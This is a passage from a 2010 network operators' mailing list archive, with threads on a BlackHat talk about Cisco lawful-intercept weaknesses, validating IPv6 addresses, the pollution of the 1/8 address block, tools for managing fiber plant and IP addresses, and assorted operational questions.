among researchers, developers, practitioners in different fields. The following conferences are planned to be organized as part of MULTICONF-10. - International Conference on Artificial Intelligence and Pattern Recognition (AIPR-10) - International Conference on Automation, Robotics and Control Systems (ARCS-10) - International Conference on Bioinformatics, Computational Biology, Genomics and Chemoinformatics (BCBGC-10) - International Conference on Computer Communications and Networks (CCN-10) - International Conference on Enterprise Information Systems and Web Technologies (EISWT-10) - International Conference on High Performance Computing Systems (HPCS-10) - International Conference on Information Security and Privacy (ISP-10) - International Conference on Image and Video Processing and Computer Vision (IVPCV-10) - International Conference on Software Engineering Theory and Practice (SETP-10) - International Conference on Theoretical and Mathematical Foundations of Computer Science (TMFCS-10) We invite draft paper submissions. Please see the website http://www.PromoteResearch.org for more details. Sincerely James Heralds Publicity committee From andrew.wallace at rocketmail.com Thu Feb 4 17:58:44 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Thu, 4 Feb 2010 15:58:44 -0800 (PST) Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: References: Message-ID: <810456.37150.qm@web59611.mail.ac4.yahoo.com> On Thu, Feb 4, 2010 at 11:25 PM, wrote: > -original message- > Subject: Re: lawful intercept/IOS at BlackHat DC, bypassing and recommendations > From: "andrew.wallace" > Date: 04/02/2010 11:09 pm > > On Thu, Feb 4, 2010 at 8:19 PM, Gadi Evron wrote: >> "That peer-review is the basic purpose of my Blackhat talk and the >> associated paper. I plan to review Cisco?s architecture for lawful intercept >> and explain the approach a bad guy would take to getting access without >> authorization. I?ll identify several aspects of the design and >> implementation of the Lawful Intercept (LI) and Simple Network Management >> Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access >> to the interface, and provide recommendations for mitigating those >> vulnerabilities in design, implementation, and deployment." >> >> More here: >> http://blogs.iss.net/archive/blackhatlitalk.html >> >> Gadi. > > For the sake of clarity and transparency, > > Gadi Evron has absolutely no connection to this research whatsoever. > > He is famous in the security community for piggybacking off other peoples research. > > We are frustrated with him as much as we are annoyed. > > Andrew > > Security consultant > > CITATION NEEDED > You can goto Full-disclosure mailing list http://www.grok.org.uk/full-disclosure/ and ask about "Gadi Evron". There will be plenty folks there who will tell you he is involved in plagiarism. Andrew Security consultant From dwhite at olp.net Thu Feb 4 18:12:46 2010 From: dwhite at olp.net (Dan White) Date: Thu, 4 Feb 2010 18:12:46 -0600 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <810456.37150.qm@web59611.mail.ac4.yahoo.com> References: <810456.37150.qm@web59611.mail.ac4.yahoo.com> Message-ID: <20100205001246.GB4621@dan.olp.net> On 04/02/10?15:58?-0800, andrew.wallace wrote: >> CITATION NEEDED > >You can goto Full-disclosure mailing list >http://www.grok.org.uk/full-disclosure/ and ask about "Gadi Evron". > >There will be plenty folks there who will tell you he is involved in >plagiarism. > >Andrew > >Security consultant That's not a reference. And it reeks of security-consultant-gamesmanship. If you've had a look at Gadi's paper that he intends to present, then discuss with him where you feel he's infringing. -- Dan White From jeroen at unfix.org Thu Feb 4 18:31:59 2010 From: jeroen at unfix.org (Jeroen Massar) Date: Thu, 04 Feb 2010 18:31:59 -0600 Subject: Regular Expression for IPv6 addresses In-Reply-To: <4912284@blitz.dartware.com> References: <4912284@blitz.dartware.com> Message-ID: <4B6B66FF.50108@spaghetti.zurich.ibm.com> Richard E. Brown wrote: > Folks, > > My company, Dartware, have derived a regex for testing whether an IPv6 > address is correct. I've posted it in my blog: > > http://intermapper.ning.com/profiles/blogs/a-regular-expression-for-ipv6 > > > This has links to the regular expression, a (Perl) program that tests > various correct and malformed addresses, and a Ruby implementation of > the same. You know, link local addresses (fe80::/10) are quite useless without specifying the zone of that address. See section 11 of RFC4007. The only proper way of "testing" if an address is a valid IPv6 address is to feed it to getaddrinfo() and then use it through that API. Yes, you can make some assumptions, but it has shown that people assuming that everything stayed under 2001::/16 also got it wrong at one point in time. Thus just feed it to getaddrinfo() if you really need it. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: OpenPGP digital signature URL: From marka at isc.org Thu Feb 4 19:02:11 2010 From: marka at isc.org (Mark Andrews) Date: Fri, 05 Feb 2010 12:02:11 +1100 Subject: Regular Expression for IPv6 addresses In-Reply-To: Your message of "Thu, 04 Feb 2010 18:31:59 MDT." <4B6B66FF.50108@spaghetti.zurich.ibm.com> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> Message-ID: <201002050102.o1512BEf012071@drugs.dv.isc.org> In message <4B6B66FF.50108 at spaghetti.zurich.ibm.com>, Jeroen Massar writes: > Richard E. Brown wrote: > > Folks, > >=20 > > My company, Dartware, have derived a regex for testing whether an IPv6 > > address is correct. I've posted it in my blog: > >=20 > > http://intermapper.ning.com/profiles/blogs/a-regular-expression-for= > -ipv6 > >=20 > >=20 > > This has links to the regular expression, a (Perl) program that tests > > various correct and malformed addresses, and a Ruby implementation of > > the same. > > You know, link local addresses (fe80::/10) are quite useless without > specifying the zone of that address. See section 11 of RFC4007. > > The only proper way of "testing" if an address is a valid IPv6 address > is to feed it to getaddrinfo() and then use it through that API. > Yes, you can make some assumptions, but it has shown that people > assuming that everything stayed under 2001::/16 also got it wrong at one > point in time. Thus just feed it to getaddrinfo() if you really need it. > > Greets, > Jeroen And now for the trick question. Is ::ffff:077.077.077.077 a legal mapped address and if it, does it match 077.077.077.077? Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From jeroen at unfix.org Thu Feb 4 19:16:53 2010 From: jeroen at unfix.org (Jeroen Massar) Date: Thu, 04 Feb 2010 19:16:53 -0600 Subject: Regular Expression for IPv6 addresses In-Reply-To: <201002050102.o1512BEf012071@drugs.dv.isc.org> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> Message-ID: <4B6B7185.2080708@spaghetti.zurich.ibm.com> Mark Andrews wrote: [..] > And now for the trick question. Is ::ffff:077.077.077.077 a legal > mapped address and if it, does it match 077.077.077.077? ::ffff:0:0:0:0/96 should never ever be shown to a user, as it is confusing (is it IPv6 or IPv4?) and does not make sense at all. As such whatever one thinks of it, it is "illegal" in that context. Internally inside a program though using a 128bit sequence of memory is of course a great way to store both IPv6 and IPv4 addresses in one structure and that is where the ::ffff:0:0:0:0::/96 format is very useful and intended for. Of course still the representation to the user of addresses stored that way would be 77.77.77.77 (and thus an IPv4 address and not IPv6) even though internally it is written as an IPv6 address. As that usage is internal, you don't need any validation of the format as the input will be either an IPv6 or IPv4 address without any of the compatibility stuff, thus one does not need to handle it anyway. Of course, there should be only limited places where a user can enter or see IP addresses in the first place. There is this great thing called DNS which is what most people should be using. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: OpenPGP digital signature URL: From marka at isc.org Thu Feb 4 19:53:38 2010 From: marka at isc.org (Mark Andrews) Date: Fri, 05 Feb 2010 12:53:38 +1100 Subject: Regular Expression for IPv6 addresses In-Reply-To: Your message of "Thu, 04 Feb 2010 19:16:53 MDT." <4B6B7185.2080708@spaghetti.zurich.ibm.com> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <4B6B7185.2080708@spaghetti.zurich.ibm.com> Message-ID: <201002050153.o151rcR0020546@drugs.dv.isc.org> In message <4B6B7185.2080708 at spaghetti.zurich.ibm.com>, Jeroen Massar writes: > Mark Andrews wrote: > [..] > > And now for the trick question. Is ::ffff:077.077.077.077 a legal > > mapped address and if it, does it match 077.077.077.077? > > ::ffff:0:0:0:0/96 should never ever be shown to a user, as it is > confusing (is it IPv6 or IPv4?) and does not make sense at all. > As such whatever one thinks of it, it is "illegal" in that context. > > Internally inside a program though using a 128bit sequence of memory is > of course a great way to store both IPv6 and IPv4 addresses in one > structure and that is where the ::ffff:0:0:0:0::/96 format is very > useful and intended for. Of course still the representation to the user > of addresses stored that way would be 77.77.77.77 (and thus an IPv4 > address and not IPv6) even though internally it is written as an IPv6 > address. You missed the point 077 is octal and 077.077.077.077 is 63.63.63.63 in the IPv4 address whereas it is decimal dotted quad in a mapped address *if* zero padded decimal dotted quad is legal in a IPv6 text form. > As that usage is internal, you don't need any validation of the format > as the input will be either an IPv6 or IPv4 address without any of the > compatibility stuff, thus one does not need to handle it anyway. > > Of course, there should be only limited places where a user can enter or > see IP addresses in the first place. There is this great thing called > DNS which is what most people should be using. > > Greets, > Jeroen > > > --------------enig57675C04A65E0982D8079586 > Content-Type: application/pgp-signature; name="signature.asc" > Content-Description: OpenPGP digital signature > Content-Disposition: attachment; filename="signature.asc" > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v2.0.12 (MingW32) > > iEYEARECAAYFAktrcYgACgkQKaooUjM+fCPUCQCgmwJ8u2Zqi1ljQ+PVOByv45Jv > OrgAn2iTiqdLdFWT5a9vlM6dUe6McqEO > =OqJc > -----END PGP SIGNATURE----- > > --------------enig57675C04A65E0982D8079586-- -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From chort at smtps.net Thu Feb 4 19:55:58 2010 From: chort at smtps.net (Brian Keefer) Date: Thu, 4 Feb 2010 17:55:58 -0800 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <810456.37150.qm@web59611.mail.ac4.yahoo.com> References: <810456.37150.qm@web59611.mail.ac4.yahoo.com> Message-ID: <3A236E9E-7D1B-4E4C-94D0-7655488909A7@smtps.net> >>> Andrew >>> >>> Security consultant >> >> CITATION NEEDED >> > > > You can goto Full-disclosure mailing list > http://www.grok.org.uk/full-disclosure/ ... > Andrew > > Security consultant For "clarity and transparency" you were banned from that list for trolling under the persona "n3td3v". -- bk From morrowc.lists at gmail.com Thu Feb 4 20:23:15 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 21:23:15 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <202705b1002041447r2c369b60xad11b6c51e054689@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <202705b1002041447r2c369b60xad11b6c51e054689@mail.gmail.com> Message-ID: <75cb24521002041823s7d2aa468ga82807f593402da9@mail.gmail.com> On Thu, Feb 4, 2010 at 5:47 PM, Jorge Amodio wrote: > I'm totally ignorant (most of the time), is anybody actually using SNMPv3 ? sadly, if you are present in the US and you do ip services (public ones) and you deployed a cisco device + calea capabilites, yes you do! :( -chris From morrowc.lists at gmail.com Thu Feb 4 20:26:45 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 21:26:45 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <8736B9E5-D9A5-4DEC-BD96-77E758DC9D1A@cs.columbia.edu> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> <4B6AD909.33E4.0097.0@globalstar.com> <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> <8736B9E5-D9A5-4DEC-BD96-77E758DC9D1A@cs.columbia.edu> Message-ID: <75cb24521002041826u5cd62415n4fb13097d5806ec4@mail.gmail.com> On Thu, Feb 4, 2010 at 5:49 PM, Steven Bellovin wrote: > > On Feb 4, 2010, at 5:42 PM, Christopher Morrow wrote: > >> On Thu, Feb 4, 2010 at 5:26 PM, Crist Clark wrote: >> >>>> this seems like much more work that matt blaze's work that said: >>> "Just >>>> send more than 10mbps toward what you want to sneak around... the >>>> LEA's pipe is saturated so nothing of use gets to them" >>> >>> The Cross/XForce/IBM talk appears more to be about unauthorized >>> access to communications via LI rather than evading them, >>> >>> ?"...there is a risk that [LI tools] could be hijacked by third >>> ? parties and used to perform surveillance without authorization." >>> >>> Of course, this has already happened, >> >> right... plus the management (for cisco) is via snmp(v3), from >> (mostly) windows servers as the mediation devices (sad)... ?and the >> traffic is simply tunneled from device -> mediation -> lea .... not >> necessarily IPSEC'd from mediation -> LEA, and udp-encapped from >> device -> mediation server. >> >>> ?http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005 >> >> yea, good times... that's really just re-use of the normal LEA hooks >> in all telco phone switch gear though... not 'calea features' in >> particular. > > There's a difference? ?CALEA is just the US goverment profile of the generic international concept of lawful intercept. hrm, I always equate 'calea' with 'ip intercept', because I (thankfully) never had to see a phone switch (dms type thingy). You are, I believe, correct in that CALEA was first 'telephone' intercept implemented in phone-switch-thingies in ~94?? and was later applied (may 2007ish?) to IP things as well. -Chris From smb at cs.columbia.edu Thu Feb 4 20:42:24 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Thu, 4 Feb 2010 21:42:24 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <75cb24521002041826u5cd62415n4fb13097d5806ec4@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> <4B6AD909.33E4.0097.0@globalstar.com> <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> <8736B9E5-D9A5-4DEC-BD96-77E758DC9D1A@cs.columbia.edu> <75cb24521002041826u5cd62415n4fb13097d5806ec4@mail.gmail.com> Message-ID: On Feb 4, 2010, at 9:26 PM, Christopher Morrow wrote: > On Thu, Feb 4, 2010 at 5:49 PM, Steven Bellovin wrote: >> >> On Feb 4, 2010, at 5:42 PM, Christopher Morrow wrote: >> >>> On Thu, Feb 4, 2010 at 5:26 PM, Crist Clark wrote: >>> >>>>> this seems like much more work that matt blaze's work that said: >>>> "Just >>>>> send more than 10mbps toward what you want to sneak around... the >>>>> LEA's pipe is saturated so nothing of use gets to them" >>>> >>>> The Cross/XForce/IBM talk appears more to be about unauthorized >>>> access to communications via LI rather than evading them, >>>> >>>> "...there is a risk that [LI tools] could be hijacked by third >>>> parties and used to perform surveillance without authorization." >>>> >>>> Of course, this has already happened, >>> >>> right... plus the management (for cisco) is via snmp(v3), from >>> (mostly) windows servers as the mediation devices (sad)... and the >>> traffic is simply tunneled from device -> mediation -> lea .... not >>> necessarily IPSEC'd from mediation -> LEA, and udp-encapped from >>> device -> mediation server. >>> >>>> http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005 >>> >>> yea, good times... that's really just re-use of the normal LEA hooks >>> in all telco phone switch gear though... not 'calea features' in >>> particular. >> >> There's a difference? CALEA is just the US goverment profile of the generic international concept of lawful intercept. > > hrm, I always equate 'calea' with 'ip intercept', because I > (thankfully) never had to see a phone switch (dms type thingy). You > are, I believe, correct in that CALEA was first 'telephone' intercept > implemented in phone-switch-thingies in ~94?? and was later applied > (may 2007ish?) to IP things as well. I can make a very good case that CALEA was not just originally intended for voice, but was sold to Congress as something that didn't apply to data networks. The EFF has said it better than I could, though, so look at http://w2.eff.org/Privacy/Surveillance/20040413_EFF_CALEA_comments. --Steve Bellovin, http://www.cs.columbia.edu/~smb From av at nethead.de Thu Feb 4 21:41:45 2010 From: av at nethead.de (Arnd Vehling) Date: Fri, 05 Feb 2010 11:41:45 +0800 Subject: ip address management In-Reply-To: <23079564.1196.1265257921131.JavaMail.root@mail.absfoc.com> References: <23079564.1196.1265257921131.JavaMail.root@mail.absfoc.com> Message-ID: <4B6B9379.7020802@nethead.de> Brian R. Watters wrote: > Please do send the dn/load link .. thanks here you go: http://nethead.de/media/files/downloads/ipat/ipadmin-tools.tar.gz http://nethead.de/media/files/downloads/ipat/modrdb.3.3.0-cvs.tar.gz In case you have questions mail me. best regards, Arnd From marcus at blazingdot.com Thu Feb 4 21:43:31 2010 From: marcus at blazingdot.com (Marcus Reid) Date: Thu, 4 Feb 2010 19:43:31 -0800 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> <4B6AD909.33E4.0097.0@globalstar.com> <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> <8736B9E5-D9A5-4DEC-BD96-77E758DC9D1A@cs.columbia.edu> <75cb24521002041826u5cd62415n4fb13097d5806ec4@mail.gmail.com> Message-ID: <20100205034331.GA58382@blazingdot.com> On Thu, Feb 04, 2010 at 09:42:24PM -0500, Steven Bellovin wrote: > I can make a very good case that CALEA was not just originally intended for voice, but was sold to Congress as something that didn't apply to data networks. The EFF has said it better than I could, though, so look at http://w2.eff.org/Privacy/Surveillance/20040413_EFF_CALEA_comments. Corrected URL: http://w2.eff.org/Privacy/Surveillance/20040413_EFF_CALEA_comments.php From jim at reptiles.org Thu Feb 4 22:32:02 2010 From: jim at reptiles.org (Jim Mercer) Date: Thu, 4 Feb 2010 23:32:02 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <45E9D92037D0443FA158C8D71E1E64BD@flamdt01> References: <20100204060718.GM81296@reptiles.org> <45E9D92037D0443FA158C8D71E1E64BD@flamdt01> Message-ID: <20100205043202.GA35936@reptiles.org> On Thu, Feb 04, 2010 at 05:35:23PM -0600, Tony Varriale wrote: > From: "Jim Mercer" > >we have recently started getting alot of spam, out of dubai, from > >"ecampaigners.dxb at gmail.com" > > > >all of the spam comes from/through google and google groups. > > Not that I can point you in the correct direction, but Google Groups is a > haven for spammers. In fact, I stopped using it a while ago for this > reason. the issue for me is not that they are spamming groups within google groups, but that they are signing up the victim email addresses as members of the group, then using google groups to distribute the content. -- Jim Mercer jim at reptiles.org +92 336 520-4504 "I'm Prime Minister of Canada, I live here and I'm going to take a leak." - Lester Pearson in 1967, during a meeting between himself and President Lyndon Johnson, whose Secret Service detail had taken over Pearson's cottage retreat. At one point, a Johnson guard asked Pearson, "Who are you and where are you going?" From martin at theicelandguy.com Thu Feb 4 23:38:49 2010 From: martin at theicelandguy.com (Martin Hannigan) Date: Fri, 5 Feb 2010 00:38:49 -0500 Subject: fiber plant management? In-Reply-To: References: Message-ID: Honestly? A spreadsheet will do it. -M< On 2/4/10, Justin M. Streiner wrote: > To those of you who currently operate large campus/metro fiber plants, > what are you currently using to track the usage of that plant? By that I > mean things such as: > * tracking the number of free/used/unusable strands in a cable > * tracking conduit utilization > * tying OTDR test results/power meter readings to strands > * trying as-built drawings to cable routes and plant assets like > manholes, junction boxes, transition splice points, duct banks, > utility poles, etc. > * mapping termination bays to cables > * tracking cross-connects and splice locations > * grouping cable segments and cross-connects together into a path/circuit > * utilization reports, etc. > > I've looked at one or two commercial packages, and might look at more as > time permits. I haven't seen much in the open-source world, and I suspect > that many places ended up rolling their own management apps to tie into > existing provisioning systems, etc. It's possible that I could end up > going that route as well. > > jms > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From joelja at bogus.com Thu Feb 4 23:52:02 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Thu, 04 Feb 2010 21:52:02 -0800 Subject: How polluted is 1/8? In-Reply-To: References: <4B699AEC.8080505@ripe.net> <4B699FB9.1000005@bogus.com> Message-ID: <4B6BB202.20303@bogus.com> Schiller, Heather A (HeatherSkanks) wrote: > 14/8 isn't all they are using internally.. 1,4,5,42 and that's just the > stuff that hasn't been delegated out by IANA yet. > > I am sure this practice is pervasive.. and it's an issue that doesn't > typically come up in talks about prepping for IPv4 depletion. Maybe it > will now.. > > FWIW, I don't believe these netblocks are completely unusable. Nor do I, people will receive assignments out of them, and route them and cope with the occasional blackhole. Those whose applications or internal numbering schemes use them will bear a not insignificant cost associated with mitigation. > If RIR > policies permit you to get address space for private networks, it could > be allocated to an organization that understands and accepts the > pollution issue because they will never intend to route the space > publicly. (Such a thing does exist..) > > +1 volunteering to sink traffic for 1.1.1.0/24 > > --heather > > -----Original Message----- > From: Joel Jaeggli [mailto:joelja at bogus.com] > Sent: Wednesday, February 03, 2010 11:09 AM > To: Mirjam Kuehne > Cc: nanog at nanog.org > Subject: Re: How polluted is 1/8? > > It should be of no surprise to anyone that a number of the remaining > prefixes are something of a mess(somebody ask t-mobile how they're using > 14/8 internally for example). One's new ipv4 assignments are going to > be of significantly lower quality than the one received a decade ago, > The property is probably transitive in that the overall quality of the > ipv4 unicast space is declining... > > The way to reduce the entropy in a system is to pump more energy in, > there's always the question however of whether that's even worth it or > not. > > joel > > Mirjam Kuehne wrote: >> Hello, >> >> After 1/8 was allocated to APNIC last week, the RIPE NCC did some >> measurements to find out how "polluted" this block really is. >> >> See some surprising results on RIPE Labs: >> http://labs.ripe.net/content/pollution-18 >> >> Please also note the call for feedback at the bottom of the article. >> >> Kind Regards, >> Mirjam Kuehne >> RIPE NCC >> >> >> > From sthaug at nethelp.no Fri Feb 5 00:15:11 2010 From: sthaug at nethelp.no (sthaug at nethelp.no) Date: Fri, 05 Feb 2010 07:15:11 +0100 (CET) Subject: Regular Expression for IPv6 addresses In-Reply-To: <4B6B7185.2080708@spaghetti.zurich.ibm.com> References: <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <4B6B7185.2080708@spaghetti.zurich.ibm.com> Message-ID: <20100205.071511.74727694.sthaug@nethelp.no> > > And now for the trick question. Is ::ffff:077.077.077.077 a legal > > mapped address and if it, does it match 077.077.077.077? > > ::ffff:0:0:0:0/96 should never ever be shown to a user, as it is > confusing (is it IPv6 or IPv4?) and does not make sense at all. > As such whatever one thinks of it, it is "illegal" in that context. Define "user"? Both Cisco and Juniper use these addresses for IPv6 L3VPNs, and the addresses are definitely visible. Cisco and Juniper examples: B 2001:abcd:60:3::/64 [200/0] via ::ffff:172.16.101.204 (nexthop in vrf default), 4d10h B 2001:abcd:60:4::/64 [200/0] via ::ffff:172.16.101.205 (nexthop in vrf default), 4d10h B 2001:abcd:60:7::/64 [200/0] via ::ffff:172.16.1.7 (nexthop in vrf default), 6d13h ::ffff:172.16.1.1/128 *[LDP/6] 4d 11:01:30, metric 1 > to 172.16.102.201 via ge-0/3/0.0, Push 313008 ::ffff:172.16.1.2/128 *[LDP/6] 1w0d 20:27:12, metric 1 > to 172.16.102.201 via ge-0/3/0.0, Push 312240 ::ffff:172.16.1.3/128 *[LDP/6] 4d 11:01:30, metric 1 > to 172.16.102.201 via ge-0/3/0.0, Push 313024 Steinar Haug, Nethelp consulting, sthaug at nethelp.no From chris at neitzert.com Fri Feb 5 02:36:46 2010 From: chris at neitzert.com (Christopher Neitzert) Date: Fri, 5 Feb 2010 00:36:46 -0800 (PST) Subject: Christopher Neitzert wants to stay in touch on LinkedIn Message-ID: <1899947730.6120513.1265359006496.JavaMail.app@ech3-cdn07.prod> LinkedIn ------------ I'd like to add you to my professional network on LinkedIn. - Christopher Neitzert Confirm that you know Christopher Neitzert https://www.linkedin.com/e/isd/1050272306/8EzUGBSW/ ------ (c) 2010, LinkedIn Corporation From fergdawgster at gmail.com Fri Feb 5 02:42:12 2010 From: fergdawgster at gmail.com (Paul Ferguson) Date: Fri, 5 Feb 2010 00:42:12 -0800 Subject: Christopher Neitzert wants to stay in touch on LinkedIn In-Reply-To: <1899947730.6120513.1265359006496.JavaMail.app@ech3-cdn07.prod> References: <1899947730.6120513.1265359006496.JavaMail.app@ech3-cdn07.prod> Message-ID: <6cd462c01002050042i3ac3b491t2900fda7c9a139ba@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Feb 5, 2010 at 12:36 AM, Christopher Neitzert wrote: > LinkedIn > ------------ > > > I'd like to add you to my professional network on LinkedIn. > > - Christopher Neitzert > > Confirm that you know Christopher Neitzert > https://www.linkedin.com/e/isd/1050272306/8EzUGBSW/ > > > > > ------ > (c) 2010, LinkedIn Corporation > FAIL. - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFLa9neq1pz9mNUZTMRAuYWAKCBv+49G7VHQc25IbG/cmbKTwobwgCfT4VQ uACAjjlTviRorgnegiq3Uaw= =HkGz -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From isabeldias1 at yahoo.com Fri Feb 5 04:37:41 2010 From: isabeldias1 at yahoo.com (isabel dias) Date: Fri, 5 Feb 2010 02:37:41 -0800 (PST) Subject: Regular Expression for IPv6 addresses In-Reply-To: <4B6B7185.2080708@spaghetti.zurich.ibm.com> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <4B6B7185.2080708@spaghetti.zurich.ibm.com> Message-ID: <51526.76555.qm@web52607.mail.re2.yahoo.com> I Just Don't Know What To Do With Myself ----- Original Message ---- From: Jeroen Massar To: Mark Andrews Cc: nanog at nanog.org; Richard E. Brown Sent: Fri, February 5, 2010 1:16:53 AM Subject: Re: Regular Expression for IPv6 addresses Mark Andrews wrote: [..] > And now for the trick question. Is ::ffff:077.077.077.077 a legal > mapped address and if it, does it match 077.077.077.077? ::ffff:0:0:0:0/96 should never ever be shown to a user, as it is confusing (is it IPv6 or IPv4?) and does not make sense at all. As such whatever one thinks of it, it is "illegal" in that context. Internally inside a program though using a 128bit sequence of memory is of course a great way to store both IPv6 and IPv4 addresses in one structure and that is where the ::ffff:0:0:0:0::/96 format is very useful and intended for. Of course still the representation to the user of addresses stored that way would be 77.77.77.77 (and thus an IPv4 address and not IPv6) even though internally it is written as an IPv6 address. As that usage is internal, you don't need any validation of the format as the input will be either an IPv6 or IPv4 address without any of the compatibility stuff, thus one does not need to handle it anyway. Of course, there should be only limited places where a user can enter or see IP addresses in the first place. There is this great thing called DNS which is what most people should be using. Greets, Jeroen From andrew.wallace at rocketmail.com Fri Feb 5 05:46:23 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Fri, 5 Feb 2010 03:46:23 -0800 (PST) Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <3A236E9E-7D1B-4E4C-94D0-7655488909A7@smtps.net> References: <810456.37150.qm@web59611.mail.ac4.yahoo.com> <3A236E9E-7D1B-4E4C-94D0-7655488909A7@smtps.net> Message-ID: <153540.33304.qm@web59612.mail.ac4.yahoo.com> ----- Original Message ---- From: Brian Keefer To: NANOG list Cc: a.harrowell at gmail.com; andrew.wallace Sent: Fri, 5 February, 2010 1:55:58 Subject: Re: lawful intercept/IOS at BlackHat DC, bypassing and recommendations >>> Andrew >>> >>> Security consultant >> >> CITATION NEEDED >> > > > You can goto Full-disclosure mailing list > http://www.grok.org.uk/full-disclosure/ ... > Andrew > > Security consultant For "clarity and transparency" you were banned from that list for trolling under the persona "n3td3v". -- bk "n3td3v" isn't a persona, its my username and the name of the security & intelligence group I am the founder of. If you do think I am a troll I will happily discuss with you off-list what part of me you think is a troll because I have never trolled I am a deadly serious person. I will happily arrange a meeting with you so we can discuss this further, Andrew Security consultant From mike at mtcc.com Fri Feb 5 07:30:08 2010 From: mike at mtcc.com (Michael Thomas) Date: Fri, 05 Feb 2010 05:30:08 -0800 Subject: Christopher Neitzert wants to stay in touch on LinkedIn In-Reply-To: <6cd462c01002050042i3ac3b491t2900fda7c9a139ba@mail.gmail.com> References: <1899947730.6120513.1265359006496.JavaMail.app@ech3-cdn07.prod> <6cd462c01002050042i3ac3b491t2900fda7c9a139ba@mail.gmail.com> Message-ID: <4B6C1D60.7070806@mtcc.com> Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Fri, Feb 5, 2010 at 12:36 AM, Christopher Neitzert > wrote: > > >> LinkedIn >> ------------ >> >> >> I'd like to add you to my professional network on LinkedIn. >> >> - Christopher Neitzert >> >> Confirm that you know Christopher Neitzert >> https://www.linkedin.com/e/isd/1050272306/8EzUGBSW/ >> >> >> >> >> ------ >> (c) 2010, LinkedIn Corporation >> >> > > FAIL. > > Hey, if a corporation is now considered 5/5ths of a person, why can't a mailing list? Mike, visualizing an animated nanog as so many brooms with buckets of water From LEdouard at edrnet.com Fri Feb 5 08:45:45 2010 From: LEdouard at edrnet.com (LEdouard Louis) Date: Fri, 5 Feb 2010 09:45:45 -0500 Subject: Loop Start T1 through PBX from Dialogic card Message-ID: <2039ACC84D552B46A292559F7A45A14602F22C80@edrmail01.southport.edr.cc> (Anyone) familiar with configuring a Loop Start T1 through a PBX from a Dialogic card? I've got it to see the T, it talks, it initiates calls, but they don't connect completely. Incoming calls just ring and ring but the software shows connection. Thoughts on troubleshooting? Thanks in advance Louis _______________________________________ Louis M. Edouard IT Systems Administrator Environmental Data Resources Inc 440 Wheelers Farms Road Milford, CT 06461 Phone: 203.882.6901 Fax: 203.783.0307 Email: LEdouard at edrnet.com web: http://www.edrnet.com The Standard in Environmental Risk Information -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.gif Type: image/gif Size: 2565 bytes Desc: image001.gif URL: From sergevautour at yahoo.ca Fri Feb 5 08:45:50 2010 From: sergevautour at yahoo.ca (Serge Vautour) Date: Fri, 5 Feb 2010 06:45:50 -0800 (PST) Subject: BFD over p2p transport links Message-ID: <803804.84064.qm@web53606.mail.re2.yahoo.com> Hello, I'm being asked to look into using BFD over our P2P transport links. Is anyone else doing this? Our transport links are all 10G Ethernet (LAN-PHY). There's no alarming inside of LAN-PHY like there is in SONET. The transport side should propagate a fiber break by stopping to send light on both ends. This is enough to cause the router interfaces to drop and for protocols to 